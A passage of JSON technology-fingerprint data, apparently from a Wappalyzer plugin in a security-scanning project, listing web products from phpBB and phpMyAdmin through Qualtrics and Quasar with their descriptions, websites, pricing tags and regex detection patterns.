\"(?:^|\\\\s)Python(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Python.svg\",\n    \"website\": \"https://python.org\"\n  },\n  \"PythonAnywhere\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"description\": \"PythonAnywhere is an online integrated development environment (IDE) and web hosting service (Platform as a service) based on the Python programming language.\",\n    \"headers\": {\n      \"Server\": \"^PythonAnywhere$\"\n    },\n    \"icon\": \"PythonAnywhere.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"oss\": false,\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": false,\n    \"website\": \"https://www.pythonanywhere.com\"\n  },\n  \"p5.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"p5.js is a JavaScript library for creative coding, with a focus on making coding accessible and inclusive for artists, designers, educators, beginners, and anyone else.\",\n    \"icon\": \"p5.js.svg\",\n    \"js\": {\n      \"p5.Camera\": \"\",\n      \"p5.ColorConversion\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:addons\\\\/)?)?p5(?:\\\\.sound)?(?:\\\\.dom)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://p5js.org\"\n  },\n  \"papaya CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<link[^>]*/papaya-themes/\"\n    ],\n    \"icon\": \"papaya CMS.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://papaya-cms.com\"\n  },\n  \"parallax.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Simple parallax scrolling effect.\",\n    \"js\": {\n      \"parallax\": \"\",\n      \"parallaxInstance\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"parallax(?:\\\\/assets\\\\/js)?(?:\\\\/jquery)?(?:\\\\/scripts)?(?:\\\\/wow)?(?:[_\\\\.]move)?(?:\\\\.inview)?(?:\\\\.pkgd)?(?:\\\\.scrolling)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?parallax(?:\\\\/assets\\\\/js)?(?:\\\\/jquery)?(?:\\\\/scripts)?(?:\\\\/wow)?(?:[_\\\\.]move)?(?:\\\\.inview)?(?:\\\\.pkgd)?(?:\\\\.scrolling)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/pixelcog/parallax.js\"\n  },\n  \"parcel\": {\n    \"cats\": [\n      19\n    ],\n    \"cpe\": \"cpe:2.3:a:parceljs:parcel:*:*:*:*:*:*:*:*\",\n    \"description\": \"Parcel is an open-source web application bundler known for its zero-config approach, simplifying the process of building and bundling web projects.\",\n    \"icon\": \"Parcel.svg\",\n    \"implies\": [\n      \"SWC\"\n    ],\n    \"js\": {\n      \"parcelRequire\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://parceljs.org\"\n  },\n  \"particles.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Particles.js is a JavaScript library for creating particles.\",\n    \"dom\": [\n      \"div#particles-js\"\n    ],\n    \"js\": {\n      \"particlesJS\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/particles(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://github.com/VincentGarreau/particles.js\"\n  },\n  \"pdfmake\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Client/server side PDF printing in pure JavaScript.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"pdfmake(?:[\\\\/-]((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:build\\\\/)?)?(?:pdfmake)?(?:vfs_fonts)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://bpampuch.github.io/pdfmake\"\n  },\n  \"petite-vue\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"petite-vue is an alternative distribution of Vue optimised for progressive enhancement.\",\n    \"icon\": \"vue.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/petite-vue\"\n    ],\n    \"scripts\": [\n      \"/petite-vue@([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/vuejs/petite-vue\"\n  },\n  \"phpAlbum\": {\n    \"cats\": [\n      7\n    ],\n    \"cpe\": \"cpe:2.3:a:phpalbum:phpalbum:*:*:*:*:*:*:*:*\",\n    \"description\": \"phpAlbum is an open-source PHP script which allows you to create your personal photo album.\",\n    \"html\": [\n      \"<!--phpalbum ([.\\\\d\\\\s]+)-->\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"phpAlbum.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://phpalbum.net\"\n  },\n  \"phpBB\": {\n    \"cats\": [\n      2\n    ],\n    \"cookies\": {\n      \"phpbb\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:phpbb:phpbb:*:*:*:*:*:*:*:*\",\n    \"description\": \"phpBB is a free open-source Internet forum package in the PHP scripting language.\",\n    \"html\": [\n      \"Powered by <a[^>]+phpBB\",\n      \"<div class=phpbb_copyright>\",\n      \"<[^>]+styles/(?:sub|pro)silver/theme\",\n      \"<img[^>]+i_icon_mini\",\n      \"<table class=\\\"[^\\\"]*forumline\"\n    ],\n    \"icon\": \"phpBB.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"phpbb\": \"\",\n      \"style_cookie_settings\": \"\"\n    },\n    \"meta\": {\n      \"copyright\": \"phpBB Group\"\n    },\n    \"website\": \"https://phpbb.com\"\n  },\n  \"phpCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:phpcms:phpcms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"PHP.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"phpcms\": \"\"\n    },\n    \"website\": \"https://phpcms.de\"\n  },\n  \"phpDocumentor\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"phpDocumentor is an open-source documentation generator written in PHP.\",\n    \"html\": [\n      \"<!-- Generated by phpDocumentor\"\n    ],\n    \"icon\": \"phpDocumentor.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.phpdoc.org\"\n  },\n  \"phpMyAdmin\": {\n    \"cats\": [\n      3\n    ],\n    \"cpe\": \"cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*\",\n    \"description\": \"PhpMyAdmin is a free and open-source administration tool for MySQL and MariaDB.\",\n    \"headers\": {\n      \"Set-Cookie\": \"phpMyAdmin_https\"\n    },\n    \"html\": [\n      \"!\\\\[CDATA\\\\[[^<]*PMA_VERSION:\\\\\\\"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"(?: \\\\| phpMyAdmin ([\\\\d.]+)<\\\\/title>|PMA_sendHeaderLocation\\\\(|<link [^>]*href=\\\"[^\\\"]*phpmyadmin\\\\.css\\\\.php)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"phpMyAdmin.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"pma_absolute_uri\": \"\"\n    },\n    \"website\": \"https://www.phpmyadmin.net\"\n  },\n  \"phpPgAdmin\": {\n    \"cats\": [\n      3\n    ],\n    \"cpe\": \"cpe:2.3:a:phppgadmin_project:phppgadmin:*:*:*:*:*:*:*:*\",\n    \"description\": \"phpPgAdmin is a web-based administration tool for managing PostgreSQL databases.\",\n    \"html\": [\n      \"(?:<title>phpPgAdmin</title>|<span class=\\\"appname\\\">phpPgAdmin)\"\n    ],\n    \"icon\": \"phpPgAdmin.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://phppgadmin.sourceforge.net\"\n  },\n  \"phpRS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"phpRS is a content management software written in PHP.\",\n    \"dom\": {\n      \"a[href*='.php']\": {\n        \"attributes\": {\n          \"href\": \"search\\\\.php\\\\?.+all-phpRS-all\"\n        }\n      }\n    },\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^phpRS$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://phprs.net\"\n  },\n  \"phpSQLiteCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:phpsqlitecms:phpsqlitecms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"phpSQLiteCMS.png\",\n    \"implies\": [\n      \"PHP\",\n      \"SQLite\"\n    ],\n    \"meta\": {\n      \"generator\": \"^phpSQLiteCMS(?: (.+))?$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://phpsqlitecms.net\"\n  },\n  \"phpwind\": {\n    \"cats\": [\n      1,\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:phpwind:phpwind:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"(?:Powered|Code) by <a href=\\\"[^\\\"]+phpwind\\\\.net\"\n    ],\n    \"icon\": \"phpwind.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^phpwind(?: v([0-9-]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.phpwind.net\"\n  },\n  \"pickadate.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Mobile-friendly, responsive, and lightweight jQuery date & time input picker.\",\n    \"icon\": \"pickadate.js.png\",\n    \"js\": {\n      \"pickadate\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"pickadate(?:\\\\/translations)?(?:\\\\/de_DE)?(?:\\\\/picker)?(?:\\\\.date)?(?:\\\\.time)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://amsul.ca/pickadate.js/\"\n  },\n  \"pinoox\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"pinoox_session\": \"\"\n    },\n    \"description\": \"Pinoox is a software development company that provides custom solutions for web, mobile, and software applications.\",\n    \"icon\": \"pinoox.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"pinoox\": \"\"\n    },\n    \"website\": \"https://pinoox.com\"\n  },\n  \"pirobase CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<(?:script|link)[^>]/site/[a-z0-9/._-]+/resourceCached/[a-z0-9/._-]+\",\n      \"<input[^>]+cbi:///cms/\"\n    ],\n    \"icon\": \"pirobaseCMS.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://www.pirobase-imperia.com/de/produkte/produktuebersicht/pirobase-cms\"\n  },\n  \"plentyShop LTS\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"The official template plugin developed by plentymarkets. plentyShop LTS is the default template for plentymarkets online stores.\",\n    \"headers\": {\n      \"X-Plenty-Shop\": \"Ceres\"\n    },\n    \"icon\": \"plentyShop LTS.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.plentymarkets.com/product/modules/online-shop/\"\n  },\n  \"plentymarkets\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"plentymarkets is a cloud-based all-in-one ecommerce ERP solution.\",\n    \"headers\": {\n      \"X-Plenty-Shop\": \"\"\n    },\n    \"icon\": \"plentymarkets.svg\",\n    \"meta\": {\n      \"generator\": \"plentymarkets\"\n    },\n    \"scriptSrc\": [\n      \"plenty\\\\.shop\\\\.(?:min\\\\.)?js\"\n    ],\n    \"website\": \"https://www.plentymarkets.com/\"\n  },\n  \"prettyPhoto\": {\n    \"cats\": [\n      59\n    ],\n    \"html\": [\n      \"(?:<link [^>]*href=\\\"[^\\\"]*prettyPhoto(?:\\\\.min)?\\\\.css|<a [^>]*rel=\\\"prettyPhoto)\"\n    ],\n    \"icon\": \"prettyPhoto.png\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"pp_alreadyInitialized\": \"\",\n      \"pp_descriptions\": \"\",\n      \"pp_images\": \"\",\n      \"pp_titles\": \"\"\n    },\n    \"scriptSrc\": [\n      \"jquery\\\\.prettyPhoto\\\\.js\"\n    ],\n    \"website\": \"https://no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/\"\n  },\n  \"punBB\": {\n    \"cats\": [\n      2\n    ],\n    \"html\": [\n      \"Powered by <a href=\\\"[^>]+punbb\"\n    ],\n    \"icon\": \"punBB.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"PUNBB\": \"\"\n    },\n    \"website\": \"https://punbb.informer.com\"\n  },\n  \"punycode\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A robust Punycode converter that fully complies to RFC 3492 and RFC 5891, and works on nearly all JavaScript platforms.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"punycode(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.){1,2}\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/mathiasbynens/punycode.js\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/q.json",
    "content": "{\n  \"Q1Media\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Q1Media is a platform that facilitates the creation, demand, and supply of digital advertising.\",\n    \"icon\": \"Q1Media.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//q1mediahydraplatform\\\\.com/\"\n    ],\n    \"website\": \"https://www.q1media.com\"\n  },\n  \"Q4\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Q4 is a SaaS platform that provides communication and intelligence solutions to investor relations professionals.\",\n    \"icon\": \"Q4.svg\",\n    \"js\": {\n      \"q4App.a11yAnnouncement\": \"\",\n      \"q4Defaults.fancySignup\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.q4inc.com/products/investor-relations-websites/default.aspx\"\n  },\n  \"Q4 Cookie Monster\": {\n    \"cats\": [\n      5,\n      67\n    ],\n    \"description\": \"Q4 Cookie Monster is an cookie compliance widget built by Q4.\",\n    \"icon\": \"Q4.svg\",\n    \"scriptSrc\": [\n      \"widgets\\\\.q4app\\\\.com/widgets/q4\\\\.cookiemonster\\\\.([\\\\d\\\\.]+)\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://q4mobile.github.io/q4widgets-jquery-ui/doc_html/q4.cookieMonster.html\"\n  },\n  \"QUIC.cloud\": {\n    \"cats\": [\n      92,\n      23,\n      31\n    ],\n    \"description\": \"QUIC.cloud is a content delivery network (CDN) and optimisation service that uses the QUIC protocol, a next-generation internet transport protocol developed by Google, to deliver content faster and more securely over the internet.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.quicns\\\\.(?:net|com)\"\n    },\n    \"icon\": \"QUIC.cloud.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"website\": \"https://www.quic.cloud\"\n  },\n  \"Qbrick\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Qbrick is a video advertising system.\",\n    \"icon\": \"Qbrick.svg\",\n    \"js\": {\n      \"Qbrick\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.qbrick\\\\.com/\"\n    ],\n    \"website\": \"https://www.qbrick.com\"\n  },\n  \"Qgiv\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Qgiv is an online fundraising platform helping nonprofit, faith-based, healthcare, and education organisations raise funds.\",\n    \"dom\": [\n      \"a[href*='//secure.qgiv.com/']\"\n    ],\n    \"icon\": \"Qgiv.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//secure\\\\.qgiv\\\\.com/\"\n    ],\n    \"website\": \"https://www.qgiv.com\"\n  },\n  \"Qikify\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Qikify is a trusted Shopify Expert providing services for over 35,000 Shopify merchants through Shopify Apps or custom modifications.\",\n    \"icon\": \"Qikify.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.qikify\\\\.com/\"\n    ],\n    \"website\": \"https://qikify.com\"\n  },\n  \"Qiscus\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Qiscus is a platform offering a Chat SDK and messaging API, enabling integration of real-time chat features into applications.\",\n    \"icon\": \"Qiscus.svg\",\n    \"js\": {\n      \"QiscusSDK\": \"\",\n      \"qiscusWidgetshowBadge\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.qiscus\\\\.com/js/qiscus-sdk\\\\.([\\\\d\\\\.]+)\\\\.js\\\\?v=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.qiscus.com\"\n  },\n  \"Qonnex\": {\n    \"cats\": [\n      6,\n      53\n    ],\n    \"description\": \"Qonnex is a software designed to enhance customer relations and manage stock for businesses.\",\n    \"icon\": \"Qonnex.svg\",\n    \"js\": {\n      \"QonnexQS\": \"\",\n      \"QonnexQSloader\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.qonnex\\\\.nl/\"\n    ],\n    \"website\": \"https://www.qonnex.nl\"\n  },\n  \"Qstomizer\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Qstomizer app is the app for Shopify and Woocomerce that allows you to add a visual custom product designer to your shop.\",\n    \"icon\": \"Qstomizer.svg\",\n    \"js\": {\n      \"jQueryQSMZ\": \"\",\n      \"loadScript_qsmz\": \"\",\n      \"qstomizer_script\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/qsmz-scripttag/qstomizer_st(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://www.qstomizer.com\"\n  },\n  \"Qualaroo\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Qualaroo provides surveys on websites and apps to get user feedback.\",\n    \"dom\": [\n      \"link[href*='.qualaroo.com']\"\n    ],\n    \"icon\": \"Qualaroo.svg\",\n    \"js\": {\n      \"QUALAROO_DNT\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"mid\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.qualaroo\\\\.com\"\n    ],\n    \"website\": \"https://qualaroo.com\"\n  },\n  \"Qualified\": {\n    \"cats\": [\n      52,\n      32\n    ],\n    \"description\": \"Qualified is a B2B marketer that allows buyers and sales reps to connect through real-time website conversations.\",\n    \"icon\": \"Qualified.svg\",\n    \"js\": {\n      \"QualifiedObject\": \"^qualified$\",\n      \"qualified\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.qualified\\\\.com/\"\n    ],\n    \"website\": \"https://www.qualified.com\"\n  },\n  \"Qualtrics\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Qualtrics is an cloud-based platform for creating and distributing web-based surveys.\",\n    \"icon\": \"Qualtrics.svg\",\n    \"js\": {\n      \"QSI.ClientSideTargeting\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.qualtrics\\\\.com/\"\n    ],\n    \"website\": \"https://www.qualtrics.com\"\n  },\n  \"Quant\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Quant is a Japanese content and creator management system designed to organize, manage, and distribute digital content.\",\n    \"icon\": \"Quant.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.quant\\\\.jp/\"\n    ],\n    \"website\": \"https://pf.quant.page\"\n  },\n  \"Quanta\": {\n    \"cats\": [\n      78,\n      10\n    ],\n    \"cookies\": {\n      \"_qta_rum\": \"\"\n    },\n    \"description\": \"Quanta is web performance management solution. Quanta offers the only analytics solution specifically designed to enable business and technical members of ecommerce teams to collaborate effectively with the end in mind: use web performance to directly impact online revenue at all times.\",\n    \"icon\": \"Quanta.svg\",\n    \"js\": {\n      \"QUANTA.app_id\": \"\",\n      \"QuantaTagRUMSpeedIndex\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.quanta\\\\.io/(?:.+/quanta-rum-v([\\\\d\\\\.]+)\\\\.min\\\\.js)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.quanta.io\"\n  },\n  \"Quantcast Choice\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Quantcast Choice is a free consent management platform to meet key privacy requirements stemming from ePrivacy Directive, GDPR, and CCPA.\",\n    \"icon\": \"Quantcast.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"quantcast\\\\.mgr\\\\.consensu\\\\.org\"\n    ],\n    \"website\": \"https://www.quantcast.com/products/choice-consent-management-platform\"\n  },\n  \"Quantcast Measure\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Quantcast Measure is an audience insights and analytics tool.\",\n    \"dom\": [\n      \"link[href*='.quantserve.com']\"\n    ],\n    \"icon\": \"Quantcast.svg\",\n    \"js\": {\n      \"quantserve\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.quantserve\\\\.com/quant\\\\.js\"\n    ],\n    \"website\": \"https://www.quantcast.com/products/measure-audience-insights\"\n  },\n  \"Quantum Metric\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Quantum Metric is a continuous product design platform that helps organizations build better products faster.\",\n    \"icon\": \"Quantummetric.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.quantummetric\\\\.com\"\n    ],\n    \"website\": \"https://www.quantummetric.com/\"\n  },\n  \"Quarto\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Quarto is an open-source technical publishing system.\",\n    \"icon\": \"Quarto.svg\",\n    \"js\": {\n      \"quartoOpenSearch\": \"\",\n      \"quartoToggleHeadroom\": \"\",\n      \"quartoToggleReader\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^quarto-([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://quarto.org\"\n  },\n  \"Quasar\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Quasar is an open-source Vue.js based framework.\",\n    \"dom\": {\n      \"div#q-app\": {\n        \"attributes\": {\n          \"id\": \"\\\\;confidence:50\"\n        }\n      },\n      \"div.q-notifications\": {\n        \"exists\": \"\"\n      },\n      \"div.q-page-container\": {\n        \"attributes\": {\n          \"class\": \"\\\\;confidence:50\"\n        }\n      },\n      \"span.q-focus-helper\": {\n        \"exists\": \"\"\n      }\n    },\n    \"icon\": \"Quasar.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"Vue.js\"\n    ],\n    \"website\": \"https://quasar.dev\"\n  },\n  \"Qubit\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"description\": \"Qubit is a SaaS based persuasive personalisation at scale services.\",\n    \"icon\": \"Qubit.png\",\n    \"js\": {\n      \"__qubit\": \"\",\n      \"onQubitReady\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.goqubit\\\\.com\"\n    ],\n    \"website\": \"https://www.qubit.com\"\n  },\n  \"Querlo\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Querlo is a provider of custom artificial intelligence solutions tailored for business applications.\",\n    \"dom\": [\n      \"#querloEmbd\"\n    ],\n    \"icon\": \"Querlo.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.querlo.com\"\n  },\n  \"Queryly\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Queryly is a cloud-based API providing site search and content recommendation functionalities, utilizing advanced algorithms to deliver quick, relevant search results and personalized content suggestions.\",\n    \"icon\": \"Queryly.svg\",\n    \"js\": {\n      \"queryly\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.queryly\\\\.com/js/queryly\\\\.v([\\\\d\\\\.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://queryly.com/\"\n  },\n  \"Question2Answer\": {\n    \"cats\": [\n      15\n    ],\n    \"cpe\": \"cpe:2.3:a:question2answer:question2answer:*:*:*:*:*:*:*:*\",\n    \"description\": \"Question2Answer (Q2A) is a popular open-source Q&A platform for PHP/MySQL.\",\n    \"html\": [\n      \"<!-- Powered by Question2Answer\"\n    ],\n    \"icon\": \"question2answer.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\./qa-content/qa-page\\\\.js\\\\?([0-9.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.question2answer.org\"\n  },\n  \"Queue-it\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Queue-it is a virtual waiting room platform designed to protect your website and mobile app from slowdowns or crashes during end-user peaks.\",\n    \"icon\": \"Queue-it.svg\",\n    \"js\": {\n      \"QueueIt.Javascript.Version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"queueit_clientside_config\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.queue-it\\\\.net/\"\n    ],\n    \"website\": \"https://queue-it.com\"\n  },\n  \"Quick.CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:opensolution:quick.cms:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<a href=\\\"[^>]+opensolution\\\\.org/\\\">CMS by\"\n    ],\n    \"icon\": \"Quick.CMS.png\",\n    \"meta\": {\n      \"generator\": \"Quick\\\\.CMS(?: v([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://opensolution.org\"\n  },\n  \"Quick.Cart\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<a href=\\\"[^>]+opensolution\\\\.org/\\\">(?:Shopping cart by|Sklep internetowy)\"\n    ],\n    \"icon\": \"Quick.Cart.png\",\n    \"meta\": {\n      \"generator\": \"Quick\\\\.Cart(?: v([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://opensolution.org\"\n  },\n  \"QuickCEP\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"QuickCEP is an AI-powered chatbot solution to improve business conversions, sales, and customer satisfaction through automated interactions.\",\n    \"icon\": \"QuickCEP.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.quickcep\\\\.com/\"\n    ],\n    \"scripts\": [\n      \"\\\\.quickcep\\\\.com\"\n    ],\n    \"website\": \"https://www.quickcep.com\"\n  },\n  \"QuickSell\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"QuickSell is a sales acceleration platform helping businesses transform conversations to conversions by leveraging personal commerce.\",\n    \"icon\": \"QuickSell.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.quicksell\\\\.co/\"\n    ],\n    \"website\": \"https://quicksell.co\"\n  },\n  \"Quickblog\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Quickblog is a platform that aids bloggers and agencies in producing embedded, SEO-ready blog content seamlessly compatible with any existing website.\",\n    \"icon\": \"Quickblog.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.quickblog\\\\.co/\"\n    ],\n    \"website\": \"https://www.quickblog.co\"\n  },\n  \"Quickbutik\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Quickbutik is an all-in-one ecommerce platform from Sweden.\",\n    \"icon\": \"Quickbutik.svg\",\n    \"meta\": {\n      \"author\": \"^Quickbutik$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.quickbutik\\\\.com/\"\n    ],\n    \"website\": \"https://quickbutik.com\"\n  },\n  \"Quickchat AI\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Quickchat AI is a no-code platform that lets you create custom AI Assistants for your business.\",\n    \"dom\": 